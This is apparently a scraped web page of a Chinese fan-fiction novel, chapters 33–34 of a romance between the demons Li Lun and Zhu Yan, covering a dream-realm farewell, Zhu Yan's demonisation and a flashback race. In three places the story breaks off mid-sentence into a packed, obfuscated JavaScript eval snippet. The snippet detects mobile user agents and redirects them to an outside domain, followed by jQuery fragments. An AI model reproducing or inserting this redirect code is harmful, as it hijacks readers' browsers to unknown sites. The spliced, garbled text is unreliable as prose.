离仑抱着朱厌,像哄小孩一样,轻拍着他的后背,“听话,别哭了,好不好...” “我们阿厌,不是答应过我,照顾好自己的吗...” “离仑!离仑!我照顾不好我自己...你回来好不好...” “我睡觉会踢被子...我头发也乱糟糟的...我再也不去人间了...” 朱厌一边哭着说,一边不断收紧抱着离仑的手,生怕他下一秒就跟先前一样,消失得无影无踪。 “离仑...禁地里的建木神树又枯萎了...我一个人修复不了...” “苍梧之野的桃花也开了...可没人陪我一起去看...也没人给我做桃花酿...” “离仑...我照顾不好我自己...我把大荒也弄得乱糟糟的...” “你回来好不好...你不是不喜欢人间嘛...不去了...我再也不去了...” 朱厌一直哭,一直哭,哭得离仑心都碎了。 离仑没有说话,只是安静反抱着朱厌,依旧像哄小孩般,有一下没一下轻抚着朱厌因哭得太凶猛而不断颤抖着的后背。 离仑伸手,擦拭掉朱厌脸上流个不停的泪水。 离仑的手,很凉,是死去的那种冰凉。 朱厌的脸,很烫,是活着的那种滚烫。 “可是...阿厌...我已经死了...”离仑指尖再次擦掉朱厌眼角的热泪,嘴角淡笑,“大荒的妖,无魂无魄...死了...就是魂飞魄散...魂归天地...” 离仑这副总是轻描淡写的模样,让朱厌彻底失控起来—— 朱厌推开离仑,失控地朝他怒吼着:“你撒谎!你说你死了,那你为何还在这里?你说你死了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16416204|183428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我,为何还能抱到你?你撒谎你就是在撒谎!” “离仑...我讨厌撒谎的人...你撒谎...” “是不是...只要我想到办法回到过去...” “只要我能回到过去...就可以改变我们之间的结局...改变所有尘埃落定的一切...” “可我要怎么做...到底要怎么做...” 离仑沉默了,那双望着朱厌的深瞳里一下子就晦暗了,“我在这里,是因为你想见我。” “阿厌...这里是你的嗔海憾境...” “别说了别说了...我不想听这些...我不听...我想听的...根本不是这些...” 朱厌坐在地上抱头痛哭,无助地捂住自己的耳朵,像使着小性子的小孩子,丝毫听不进去离仑任何一字一句。 离仑走到他跟前,俯身将他深深一抱,耐着性子哄着朱厌:“好,我不说,你别哭了,好不好?” “你答应过我的,照顾好自己,也要开心快乐的。” “阿离...”朱厌的眼泪不受控地滑落,嗓子被他哭得都快哑了,满眼绝望,“我不答应你...我照顾不好自己...我一点都不开心...” “离仑...”埋在离仑肩上哭着的朱厌,觉着此刻就像有一双无形的后正使劲捏掐着他的心脏,“我好痛...” 那些说不出的疼痛,密密麻麻攀满他的心,化作千万根锐针,无情刺入他的灵魂,让他的灵魂疼得直颤—— 那一枚沉寂多时的暗蓝妖印,缓缓在朱厌的眉心正式现出,发出一丝微弱的蓝光。 离仑抚上朱厌的侧脸,望了一眼他眉间那一枚妖印后,指尖从摩挲着侧脸移到他的眉心。 只见离仑忽而指尖轻点,朱厌眉心那一枚浮现的妖印,再次沉寂,消失得无影无踪。 “朱厌...”离仑低头靠近,低沉嗓音落入朱厌耳畔,小声同朱厌又再说了一句话。 离仑冰凉的手,抚过朱厌蓄满悲伤的双眼,那双暗蓝深瞳,忍不住细细描摹着这张他早已看过数万遍的脸,恨不得将眼前这张面庞彻底烙进心中,深埋起来,不让人瞧见半分。 终是难抵心中那份被他掩藏起的思念,未等朱厌的话语落进耳畔,离仑倾身低头,吻上了记忆中那抹温热的唇瓣。 骤然触及的软意,竟让他瞳中不由涌起一阵滚烫,险些滚下热泪。 冰火两重天的触碰,交织的呼吸伴着勾人心弦的灼热,勾缠住彼此难舍难分的气息。即便仅在一瞬,也将那抹早已湮灭的火苗,撩拨重生,滋长了炽烈而决绝的爱意。 这个吻,无关情,无关欲,不沾风花,不染雪月,只是写满虔诚,盛了满腔数之不尽的温柔缱绻。 离仑不懂凡人的七情六欲。 可他却明白,爱上一个人,就像给自己画地为牢,创造了一种至高无上的信仰。 那一颗藏在胸腔之下,飘荡数万年的心,荒芜又辽阔的位置里,自此住进了一位神。而他的这一生,终将侍奉着这一位随时会陨落,也随时会离他而去的...神... “朱厌...阿厌...” “伏愿...吾爱朱厌,喜乐千秋,顺遂如愿...长命百岁...” “朱厌...”离仑声音也哑得厉害,只是痴痴望着朱厌,静静拭去他的眼泪,“答应我...你一定要长命百岁...” “可是离仑...我不需要长命百岁...” “我不要长命百岁...我只想你回来...就好了...” 离仑闻言,只是淡淡笑了一下,“朱厌...我再陪你,最后一次...” 离仑倾身,再次拥住朱厌。 在朱厌看不见的地方,离仑的眼眶也不由湿了,轻轻同他说着:“阿厌...对不起...我爱你...” “可惜,是这个结局...真是令人不甘...” “离仑,我不要...我不要...”被离仑抱着的朱厌拼命摇着头,使着性子拒绝着离仑同他说的话,“离仑,我不想要醒了...我们就这样一直呆在这里...好不好...” “朱厌,长命百岁。” “再见了,我的...阿厌...” 一蓝一白的光辉从两人身上现出,交织形成一抹白光,冲向上方,直接击碎了整座槐江谷,击碎了一整个嗔海憾境。 昆仑山窟里静待着的乘黄,感受到魑魅沙漏强烈的震动,骤然睁眼,眼中满是藏不住的兴奋,僵硬的脸微微扯出一个淡淡的弧度。 “朱厌...你的‘恨’...终于出来了...” 33.因为朱厌 嗔海憾境里的槐江谷小居,消失不见,取代而之的是一片残破的桃花林。 那是离仑跟朱厌初遇的桃花林。 只是,原本缤纷粉艳的桃花,早已失去了灼灼其华的鲜艳粉白,反蜕成了灰败破落的糜烂绯红。 被强行击破的嗔海憾境,抬头一望的天幕,像一块被人烧穿的红绸,露出无边无际的虚空裂痕。脚下踩踏着的大地,寸寸龟裂,四周一切开始开裂,破碎,崩塌。 嗔海憾境里,日光朦胧,乌云蔓延,山崩地裂,汪洋呼啸。 这个由朱厌的嗔与憾构建而出的世界,逐步分崩离析,一步步迈向毁灭。 这一片腐败残破的桃花林,正无声无息地化为齑粉,刺眼的火光开始卷舔着万物。 崩解的世界之中,离仑深拥着痛哭中的朱厌。 离仑宽大的手抚着朱厌的后脑勺,在他耳畔轻声说着过往—— “还记得第一次去人间的时候,你送我的第一份礼物嘛...” “你送我的那条黑金发链,其实我很喜欢的,只是舍不得戴,怕弄脏它...” “那一把买给你的伞,其实不是花了五文钱,是二十文钱。那个小贩,见天下雨,就借势涨价了...” “那串冰糖葫芦...其实一点都不甜的...” 离仑的指尖轻柔拂过朱厌湿润的眼角,拭去那一颗颗滚烫的泪珠。 他的身体,在破碎的天光火花里,显得有些透明。 那一双望着朱厌的眼,写满了朱厌看不懂的浓厚情绪,脸上依旧带着让朱厌刻骨铭心的温柔笑意。 朱厌哭得很伤心,一颗颗滚烫的眼泪,滑过他泛红的眼尾,灼在了离仑的指尖。 “可是离仑,我不记得了!你说的这些...我统统都不记得了...” “不记得也好,”离仑再次擦去他的泪,笑着安慰他,“就当是做了一个很伤情的梦,梦醒时分,梦中一切全忘干净。待到万物归位,你依旧是大荒的上古大妖,朱厌...” “离仑...这不公平...这对我...一点都不公平...” 朱厌哭喊着,将离仑狠狠抱住。 失去记忆后的他,第一次主动吻上了离仑冰凉的唇,试图用自己温热的躯体去暖和眼前这具早已没了生息的幻影。 “阿厌,放手吧...” 离仑的声音很轻,比羽毛还要轻。可这飘然的一句,砸向朱厌的心却似有重逾千斤。 “不...不!”朱厌猛地摇头,双手死死攥住离仑的衣袖,“离仑,别赶我走!我们就留在这里,不好吗...” 朱厌攥住离仑的指节,因过于用力而泛白,连带着指甲划伤了掌心他都没发现,仿佛只有这样,只有身与心足够痛,他就能留住眼前这缕即将消散的残影。 朱厌的眼泪决堤般疯狂涌出,痛哭的嗓子沙哑得破碎不堪,带着稚童的无助与绝望的执拗。 “可是大荒需要你...”离仑的眼底是深不见底的心疼与决绝,他捧起朱厌的脸,额头与他相抵,冰凉碰上温热的变故,让朱厌忍不住眼眸一颤,“你看...阿厌,我已经死了。我的身体和魂魄,都被不烬木燃烧殆尽了...你亲眼所见,不是吗?” 四周万物正在加速崩塌瓦解,一声轻微的裂缝声传入朱厌耳中,惊得他连忙一看,却愈发慌乱起来。 朱厌发现,方才还同他说着话的离仑,随着他的话音落下,一道刺眼的裂痕,宛若上等瓷器骤然开裂的纹路般,出现在了离仑的侧脸上。接着,离仑的身上,也陆续出现裂痕。 离仑没有出声,仿佛不知疼般,只是深深看着朱厌,眼中蓄满了复杂情感,是心疼,是哀求,是告别,但更多的是比死亡还要沉重万分的不舍。 “朱厌,你本该是纵横天地,恣意傲然的上古大妖,是九天翱翔的猎鹰,不该为我这已死之人,画地为牢,枯守一座坟茔...” “离仑!离仑!” 看到离仑脸上的裂痕越来越多,朱厌瞳孔一缩,呼吸一颤,巨大的恐慌将他整个人攫住。 朱厌伸手想要抚摸离仑脸上那道裂痕,指尖却一下子穿透了进去,只触到一片冰凉的虚无。 离仑的身影越来越淡,脸上与身上的裂痕也越来越多。 朱厌颤着双手,慌乱又拼命地捡拾着从离仑身上飘散而去的碎片,试图拼凑他那破碎的身体。 “不...不要...离仑,不要...” 离仑用尽最后的力气,虚虚回抱着朱厌,唇角绽开的笑容,极致的温柔又极致的悲伤。 “下一次,如果可以,我还想回到那天,跟你再次初遇...再救你一次...”离仑的声音轻得像一声叹息,带着无比虔诚的祈愿,“苍梧之野的桃花开了,我们阿厌,替我去看看,可好...” 语音落下的瞬间,离仑的身影化作万千帝释青的光点,如同斑驳流萤,四散飞逸。 “离仑——” 朱厌发出一声凄厉到极致的悲鸣,猛地朝前一扑,却只抱住了一片冰冷的空气。 万千悲痛如同无形触手,包裹上那一颗跳动着的心脏,促使朱厌彻底妖化—— “不——” 朱厌从卑微的乞求变成歇斯底里的狂怒,睁开的眼睛连带着眼白也变成一片诡异的猩红,一头被他刻意用术法变幻遮挡住过的黑发,一瞬间变为雪银色,脸上也露出一道道暗红的白猿妖纹。 体内躲藏起来的白猿法相,更是直接挣脱封印束缚,从朱厌身后缓缓现身,腾升而出,不断朝天嘶鸣怒吼着,诉说着主人的悲痛。 跪在地上的朱厌,周身被黑雾包裹着,低垂着脑袋,四道白金光丝自他手腕脚踝的位置涌出,从他白皙的肌肤和跳动的血管内钻出,将他裹住。 光丝现出原形,是四个正在缓慢转动的白金光圈。 在包裹朱厌的黑气之中,白金光圈逐渐蜕变成四道流动着的枷锁,枷锁上涌动的花纹,正是槐鬼之力独特的符文印记。 跪在地上的朱厌,早已失去意识,低垂着脑袋,可手腕脚踝上的白金光圈泛着的光丝却越发浓盛。 而那一枚藏进朱厌眉心的暗蓝妖印,重新浮现。 可这一次不同的是,细看之下,这枚完好无损的妖印,竟然裂开了一道小纹。 此时,一缕缕微弱的蓝雾,正从朱厌开裂的眉心妖印小纹之中钻出,飘向上空。 这一整片凋零败落的桃花林,呼的一声,被重重火焰包住,开始焚烧起来。 真正的嗔海憾境,彻底崩塌—— 梦方梦,只可惜,休未休。 砰砰—— 撑手躺卧在青苔岩石上,正阖眼小憩着的戾气朱厌,只觉心口一灼,阖起的眼睫忍不住轻颤,指尖下意识伸出,抹过自己的嘴角。 睁眼一看,一丝刺眼的猩红,映入他眼中。 戾气朱厌看着指尖沾染的粘腻猩红,原本懒洋洋的眼神一下子就晦暗了下去。 “朱厌...”戾气朱厌揉了揉指尖粘腻的猩红,转而摊开的掌心上,骤然跳跃出一抹红黑相织的光雾,若有所思自我嘀咕着,“妖力...回来了...” 说完,戾气朱厌抬眸瞧了一眼一旁正不停闪烁着的魑魅沙漏,眼神又暗了几分。 九幽鬼域禁地里,平静的聚魂鬼海再度躁动起来,引得正在往鬼海深渊输着法力,加固着封印的陌离,当下一皱眉,脸色也难看了几分。 一声冲天嘶鸣从鬼海深渊传出,直接击破海面上的金色封印,巨大的冲击里将禁地震得巨石纷落。 陌离手疾眼快念咒起阵,镇压着聚魂鬼海底下沉睡养伤的大妖兽。 妖兽不断挣扎怒吼着,一块巨石从天而降,朝着陌离所在位置砸去—— 一道绛紫身影飞速一闪,单手将正忙于念咒起阵的陌离一把搂住抱开。 一切变故太快,后知后觉反应过来的陌离望着眼前人,表情有些呆愣,呆呆一问:“净...净渊...” “你怎么来了?” 净渊没有说话,只是深深望了一眼鬼海上方那松动开裂的封印。 净渊低声念咒,波涛汹涌的鬼海骤然平静下来,反手一动,漆黑的鬼海被一分为二,露出里头方才还沉睡着的大妖兽。 大妖兽被强制唤醒,那双冰蓝竖瞳变为噬人血红,正拼命挣扎着,朝净渊张开血盆大口,嘶鸣怒吼着。 “小白在里头,不是养伤养得好好的吗?怎么好好的突然狂化起来了?”望着白琉璃,陌离一脸不解,转而望向净渊,“我刚才就是感应到鬼海封印松动才赶过来的。” “是因为朱厌。” 净渊指尖一收,正在狂化的白琉璃瞬间安静了。 原本身长百丈的大白蛇,变成了一条掌心大小的小白蛇,缠上了净渊的手。 唯一不变的是,变小的大妖兽那一截莹白兽尾上,依旧卷着一颗同等变小的京墨珠子。 被它卷着的京墨珠子,泛着微光,在净渊手上不经意又亮了一下。 “走。” 被他搂着的陌离,一脸茫然,听得一愣一愣的,更加不解:“去哪儿?” “去大荒,找朱厌。” 戾气朱厌看着自己指尖揉开的粘腻血腥正失着神,一旁不停闪烁着光辉的魑魅沙漏,忽而开始激烈得震动起来,接着魑魅沙漏里开始陆续出现了帝释青色泽的沙粒子,让戾气朱厌愣了一下。 还沉浸在自我深思中的戾气朱厌,被魑魅沙漏随后发出一声刺耳尖鸣,彻底勾走了注意力。 一片 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16442063|183428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 漆黑之中,半空忽而像是被人用锋利的刀刃强行划开一道诡异口子。 被魑魅沙漏强行带走的朱厌,被一股不知名的力量从裂开的口子里头抛出,整个人摔在了地上。 戾气朱厌起身,蹲到朱厌跟前,歪着脑袋,很认真地观察着他眉心那道骤然现出的暗蓝妖印。 瞧见那道微微开裂的妖印,戾气朱厌忍不住伸指碰了碰朱厌眉心隐约溢出来的蓝雾—— 只听到一声皮肉灼烧的轻微滋啦声,指尖当下便传来一股灼痛,戾气朱厌疼得忍不住眉心一皱。 望着自己血肉模糊的指尖,那双本就晦暗下去的眼里,不明情绪又浓了几分。 “封印...终于裂开了...” 地上消停的魑魅沙漏,再次飞速震动起来,下一秒就消失得无影无踪。 而蹲在地上看着朱厌的戾气转头一望,眼神瞬间狠戾起来,连带着脸上都多了一些警惕神色。 “有人,来了。” 戾气朱厌手一挥,连带着一旁失去意识的朱厌,也一并消失在他利用记忆牢笼造出的幻境里。 从戾气朱厌身旁骤然消失的魑魅沙漏,再次穿破时空的限制,从昆仑山窟半空的空间裂缝中缓缓飘落,最后,以原始状态落到了乘黄的掌心中。 乘黄看到魑魅沙漏里头新收集到的帝释青沙粒,僵硬的脸上嘴角,微微勾扯起一个淡淡的弧度,盯着沙漏瞧个不停的眼里,炙热又疯狂。 “终于...齐了...”乘黄强压住内心的兴奋,口中低声念咒,“是朱厌的...恶与惧...” 下一秒,掌心静止的魑魅沙漏,在乘黄的施咒下,再次疯狂地剧烈颤动起来。 里头收集的七情六欲,被乘黄一分为二,一部分格外留存了起来,一部分混合缠绕在一起,汇成一道五彩斑斓的光雾,从中缓慢飘出。 乘黄赶紧拉开自己的衣袖,只见露出的手臂,早已干枯发皱,布满斑驳骇人的痕迹。 那道从魑魅沙漏当中飘出的彩雾,在乘黄的操控下,顺着他干枯发皱的手臂,汇入他的血管,钻入他的身体。 下一秒,乘黄干枯发皱的手臂正在以肉眼可见的速度,恢复成原本的模样,连带着原本惨白得不似活人的肤色也多了一抹血色,僵硬的嘴角露出的笑容也变得自然了些许。 乘黄歪了歪自己的脖子,闭上双眼,深深吸了一口气,彻底沉浸于修复之喜。 不过几秒之间,原本修复的手臂,又肉眼可见干枯发皱得更加厉害了,乘黄的嘴角也流下一抹血渍。 乘黄睁眼,见状,脸上闪过一丝狠戾与杀意。 “还是...不够...” 乘黄彻底暴怒起来,气得一把摔了魑魅沙漏,里头缝隙残存的一抹帝释青光雾被摔得飞了出来。 乘黄一把抓住这抹帝释青,正想捏碎它,不料原本略微黯淡的赤黄双瞳,竟一时之间再次变得流光溢彩起来,里头飞速闪现着破碎又零散的画面。 看到画面的乘黄,被惊得直接捏爆手中那抹飘着的七情六欲。 半空发出一声莫名巨响,乘黄连忙低头,伸袖挡住迎面而来的浓雾。 浓雾消散,映入眼帘的眼前,竟是一面三万年前的记忆幻境,正是昆仑神山那一战。 乘黄目不转睛盯着幻境的一切,连一处角落都不放过,阴恻恻笑着说:“原来...这才是真相...终于找到了...居然是藏在了大荒奈落川的海崖之下...” 乘黄开始狂笑起来,被他摔碎的魑魅沙漏在他的操控下,残破碎片连着里头收集到的七情六欲也开始归位。 没一会,被他摔碎的魑魅沙漏,又变回原来完好无损的模样。 小居后山的桃花山洞前,坐在青苔岩石上打坐调息的朱厌,由于戾气介入,正深陷于识海囚困。 朱厌满额冷汗,眉头紧皱,心绪不宁,嘴角的血源源不断流下,濡湿了他的衣裳。 身后一头及腰的黑发乌丝,也如同在嗔海憾境中经历的一样,变成了雪银色。眉间那枚浮现的妖印也同等裂开了一道细微的裂缝。手腕与脚踝被四个若隐若现的白金光圈锁住。 槐江谷小居的前厅,一道黄黑相间的身影正被一群绿油油的小团子身影们紧紧围住。 “小山神大人,你说,王跟妖大人很喜欢比赛,那你知道他们是怎么比赛的吗?”一个槐精睁着圆溜溜的眼睛,一脸疑惑地挠着小脑袋。 “都说祸害遗千年,说得真没错...” “这两人呀...”英磊像是回忆到不愉快的事情,一手捂住心口,一脸悲痛,“自己玩就算了...还拉着大伙一起陪着他俩霍霍...” 英磊这番话,让在场所有槐精们一下子睁大了自己的眼睛,个个都一脸期待望着他。 34.你又输了 正沉思在过去不愉快记忆中的英磊,放下捂住心口的手,收回远望的目光,一低头,对上无数双圆溜溜正盯着自己的大眼睛,把他吓了一大跳。 英磊觑眼一望,炸毛起来:“干嘛呢?!你们这群坏蛋小精灵!” “我们在呢在呢!”槐精们一个接一个朝他身边涌过去,叽叽喳喳说个不停,“英磊小山神大人,快给我们说说,王跟妖后大人是如何霍霍大家的呢?” 霍霍大家?他可是这两口子霍霍榜单上的第一妖! 英磊下意识想摸上自己的大胡子,又再次摸了个空。 哎呀!他怎么老是忘记了?! 在英磊二百来岁的时候,他跑去人间找朱厌玩,当时他的大胡子被嫌弃了,就在朱厌家用剃刀子给剃了。 有大胡子的他,那才是他最帅的样子! 英磊娓娓道来:“你们是不知道,想当年,本山神的山神庙啊...那可是大荒数一数二的漂亮房子...它...” “不对不对!英招祖祖说了,小山神大人你的山神庙一直都是破破烂烂的...” 槐精胖胖一时嘴快,直白说出英磊山神庙的破烂,被一旁的槐精萌萌一把住了嘴。 被无情补刀的英磊一脸石化,原来,他的爷爷也嫌弃他的山神庙破烂的呀... 他的山神庙以前可没这么破的呀?!还不是因为朱厌跟离仑这两口子的使坏!! 槐精们左一个右一个跑到英磊身边,摇了摇他已然悲痛到石化的身体,一个劲儿吵着要他说着过往。 “山神大人,给我们说说王跟妖后大人是怎么比赛的吗?好玩吗?有趣吗?” 被吵到觉得自己左脑打着右脑到头昏眼花的英磊一顿叽里咕噜控诉着:“离仑跟朱厌他们两个人的比赛呀,简直就是大荒妖怪们的灾难!” 三万年前的大荒,槐江谷小居。 穿得花枝招展的朱厌,坐在院子离仑给他栽种的大桃树上,悠闲晃悠着双腿,嘴里吃着离仑刚给他摘的新鲜桃子,手里正玩着离仑的鼗鼓。 那张白里透红的脸上满是傲娇小表情,漂亮的眉眼里,带着张扬的恃宠而骄,又夹了一抹挑衅的神色,似笑非笑望着底下站着的人。 “阿离,还比吗?”朱厌又咬了一口桃子,开始自言道,“可是,你已经输给我九千九百九十九次了耶...” 受到明晃晃的挑衅,底下的人也不觉着生气,语气淡淡回着他:“嗯。比。听说毛笔怪学那凡人开了盘,赌你我输赢呢。” 朱厌一听,来劲儿了,一把丢掉手里的桃子,把鼗鼓还给了底下人,接着整个人从树上跳了下来。 一双宽大的手,稳稳接住了朱厌。 “那...”被抱在怀里的朱厌,伸手勾过离仑的脖子,很认真地思考一问,“这次...怎么比...” 温煦的阳光从天而落,透过斑驳的枝叶,打落在地。 山风微拂,树影摇曳,明媚阳光打照在两人身上,将两人交织的身影拉得长长的,又浓浓的。 一直没有等待回复,自我嘀咕着的朱厌一抬头,与近在咫尺的离仑,四目对上了。 阳光照耀下的离仑,五官深邃又立体,将那一扇长睫拉出了淡淡的阴影,挺直鼻翼下的薄唇微勾着。 离仑那双勾人心魂的眼,借着阳光,折透出专属他的独特灰蓝,让人一眼难忘。而此时这双眼,正似笑非笑望着朱厌,连带着他左眼下的那颗泪痣,也格外勾他心弦。 砰砰—— 砰砰—— 砰砰—— 平稳跳着的心,开始变了节奏,乱得朱厌有些压制不住。 朱厌的脸也开始不受控地发烫起来,与离仑对视的眼中也爬上了一抹错愕与羞涩,让他先行一步错开了对视的脸。 其实,这种脱离了掌控,难以预测走向的感觉,朱厌不是很喜欢。 于是,他挣扎着想从离仑怀里下来,却被离仑紧紧抱住。 离仑自是看出了朱厌的惊慌,打横抱着他的手,故意恶趣味抱着他朝上掂了掂,惊得朱厌连忙抱他抱得更紧了。 离仑淡笑着,朝朱厌靠近了几分,在他耳边厮磨着逗趣他:“你想怎么比,怎么玩,我都陪你。” 离仑寥寥两三句话,就把朱厌逗得面红耳赤。 两人从小到大,一直都形影不离。虽然相处了数万年,可朱厌实在受不了如此直白的离仑,担心他一会又要做出惊人举动,朱厌干脆直接一把推开他,从他怀里跳下。 “那不如...就比,从槐江谷这里出发,看谁先到大荒海地,如何?” 离仑一听,眉眼微微一挑,淡漠的脸上看似如常的面无表情。 可朱厌就是知道,他的离仑,接受了他的提议。 离仑自己不知道,平日里的他,性子寡淡无趣,旁人唯有在提及朱厌的时候,离仑那张千年不变的冰山冷脸才会有些许生动的表情,就像此刻他挑眉的小动作。 躲在一旁,光明正大正偷听着两人对话的槐精们,扒拉着小短腿,一个个像风一样跑了出去。 “大家快来看啊!王跟妖后大人又在比赛了!走过路过,不要错过,快来看呀!” 为首的槐精,站在一块石头上,面前放了一块大布,大声叫喊着比赛的开盘。 没一会,大荒的其他小妖小怪们都围了过来。 小妖们七嘴八舌讨论着:“你们说,这次比赛,谁会赢呢?” 地上摆着的大布块,用一条黑线隔开,被一分为二。 左一半画了一颗蓝色的大槐树,代表的是离仑;右一半则画了一只红色的小白猿,代表的是朱厌。 朱厌的那一半,押满了大妖小怪们各自奇奇怪怪的法宝,还有自己最为珍贵的东西。可离仑的那一半,到现在还是空无一物。 金翅鸟小妖顶着一张毛茸茸的脸,把自己的宝物押在了朱厌那一半上,大声说着:“还用说吗?毫无悬念,肯定是我们妖后大人赢呀。” “不对不对!我押王赢,他这次肯定能赢的。”一旁槐精伸手从自己脑袋上薅下一朵小白花作为赌注,押在了离仑赢的赌盘上。 一只小兔妖叉着腰,一脸激动:“胡说!大荒的妖谁不知道,王爱妖后大人爱得死去活来的,每次比赛都故意输。” “你个小呆瓜,槐江谷的院子你都扫了多少次了,还不长记性。你又押王赢,这次你肯定又要扫院子了。”一旁一个肥嘟嘟的槐精,扭着胖乎乎的小身子,笑着对刚薅了自己小白花的槐精说。 “好吧,”小白花赌注的槐精自我嘟囔着,“那我押妖后大人赢,不然输了又要扫院子。”说着,偷偷把押注离仑赢的小白花挪到了朱厌那边。 槐江谷的院子挤满了各种小妖怪,个个眼睛都盯着庭院中央站着的两道身影。 “阿离,你准备好了吗?” 站在离仑身旁的朱厌,习惯性拿过自己的发尾,指尖玩绕着自己一丝不乱的头发。 朱厌眼角余光偷瞥着一旁的离仑,观察着他的一举一动,脚偷偷往前挪了又挪,抢在了离仑跟前。 朱厌的小动作,离仑全都看在眼里,他没说什么,只是脸上挂着淡淡笑意,望着他的眼里藏着一如既往的随性与云淡风轻,“嗯。开始吧。” 离仑话刚说完,一旁的朱厌就已经化作一道暗红光雾,抢先一步飞离了槐江谷小居。 待到朱厌已经离去了很久,离仑还悠哉游哉站在原地不动。 一旁观望着的槐精跟小木头人们,一脸疑惑看着他。 其中一个小木头人磕巴着开口一问:“王...朱厌大人...都...都出发好...好久了...” “对呀对呀!王,您再不出发,又要输给妖后大人了!”一个槐精开口一说,一旁其余槐精们个个都点头附和,以示赞许。 “嗯。不怕。”离仑望着朱厌远去的方向,站在原地,淡淡说着。 又等了好一会后,他才动作起来,化作一道幽蓝光雾,追随上朱厌的步伐。 再次的槐精们跟其他小妖怪们,一个个也快速动作起来,追了上去。 荒无人烟,寸草难生的大荒海地上,一道红光飞驰在海面上。不过分秒之间,便被一道尾随而来的蓝光给彻底追赶上了。 两道红蓝相间的光雾,交织在半空之中,快速飞驰,相互追逐,互相嬉戏着。 两人速度之快,让大荒的奈落川整个海面,瞬间涌起一股股汹涌涛浪,千里之内更是被波及得余波震震,大荒的山峰峡谷,全都山崩地裂。 大荒境内的诸多小妖小怪们,个个都躲藏起来,被他俩的动静,吓得瑟瑟发抖。 土拨鼠小妖躲在地下,瑟瑟发抖着相互吐槽着:“不是!王跟妖后大人不是才刚比赛吗?这咋又比上了呢?!” “对呀对啊!上次他们夫夫比赛,把我好不容易建好的新窝...都给震得稀巴烂了...” “听说,全大荒妖怪们的家都被祸害了,只剩下英磊山神大人的山神庙没事...” 而另一边他们口中的主人公英磊,刚从凡间回到山神庙,一开门,在看到自家的山神庙,不是屋顶缺瓦片就是塌柱子时,那张俊俏的脸上,顿时变得五彩斑斓,忍无可忍的他,当下便冲天哀嚎起来—— “该死的老槐妖跟臭猴子!!!” ... 被追逐上的红影,猛地一用劲,又抢超了身后追逐着他的那道蓝影,还时不时眼中含笑地往自己身后不停张望去。 “离仑,你要输了喔——” 快到只能依稀看到残影的红影,语气带了几分俏皮与得意,听得出他此刻内心的愉悦。 身后穷追不舍的蓝影面对挑衅,闻言后也只是默默露出一个淡笑。那双清冷的眼眸在望到红影时,顿时变得柔和,连一向淡漠孤寡得毫无生气得语气中,也透带了一抹宠溺。 “嗯。不怕。输给你,我心甘情愿——” 相互追逐着两团光雾,一红一蓝,朝着奈落川的海岸方向争先恐后冲去。 两人所到之处,光芒绽放,山崩地裂,波涛汹涌。 光雾消散,残影化形。朱厌先行,离仑后随。 暗红色的朱厌,长袍翻飞,像一抹烧红的彩霞。 幽蓝色的离仑,长发飞扬,像一处诡寂的夜空。 离仑大手一伸,将前方还在奔跑中的朱厌往自己怀里一带,两人滚着双双落地,巨大冲击力让海地直接开裂出一条大缝,带来满眼的尘土飞扬。 离仑将朱厌护在身下,躲到了一旁,大手一挥,一旁被他们玩到裂开的海地大缝,正在以肉眼可见的速度重新合上,大地恢复如初。 “阿离!你又输了!”朱厌笑得格外开心,冷白的肤色都染上了微微红晕,“这是你输给我的第一万次了...” 被离仑抱在怀里的朱厌笑得不亦乐乎,那双漂亮的桃花眼里装满了离仑的高大身影 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16451190|183428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,笑得弯弯的,又亮亮的,勾得离仑的心头,痒痒的。 离仑不禁看痴了,俯身低头,擒住了身下那一抹柔软的红艳。 方才怕朱厌磕碰到,离仑的手正护着他的后脑勺,搞得朱厌只能被迫仰起头张开了嘴,接住离仑的偷袭,连着搭在离仑胸膛的手,也不自觉圈住了这人的脖颈。 “唔...” 暧昧的纠缠,在大荒的风中狂啸着,刮卷入两人的内心,撩拨开彼此一池春水。 朱厌被离仑亲得都快喘不过气了,连带着眼角都湿漉起来,低沉地发出含糊不清的.呻.吟.声。 当朱厌想偏过头避开的时候,离仑像是早已料到了一样,哑着嗓子,一脸认真,轻声一唤:“朱厌...” 朱厌抬起湿漉漉的双眼,一脸茫然望着离仑:“嗯?” “如果...我是说如果...”离仑忽而语顿,迟疑了一会才又开口,“如果以后我不在你身边了,答应我,你要照顾好自己...” 朱厌睁着大眼睛,好奇望着离仑,下意识反嘴一问:“你不在我身边?那你想要去哪儿?” “可能...会去一个很远很远的地方...” 朱厌直接摇头拒绝三连击,一口驳回:“我不要。我拒绝。我不答应。离仑,我照顾不好自己的。” 朱厌掰着手指,一脸认真地一个一个数着同离仑说。 “阿离,你不在的话,没人给我弄头发,我头发就会乱糟糟的,会很丑的...” “爷爷可以帮你。” “我拒绝。” ... 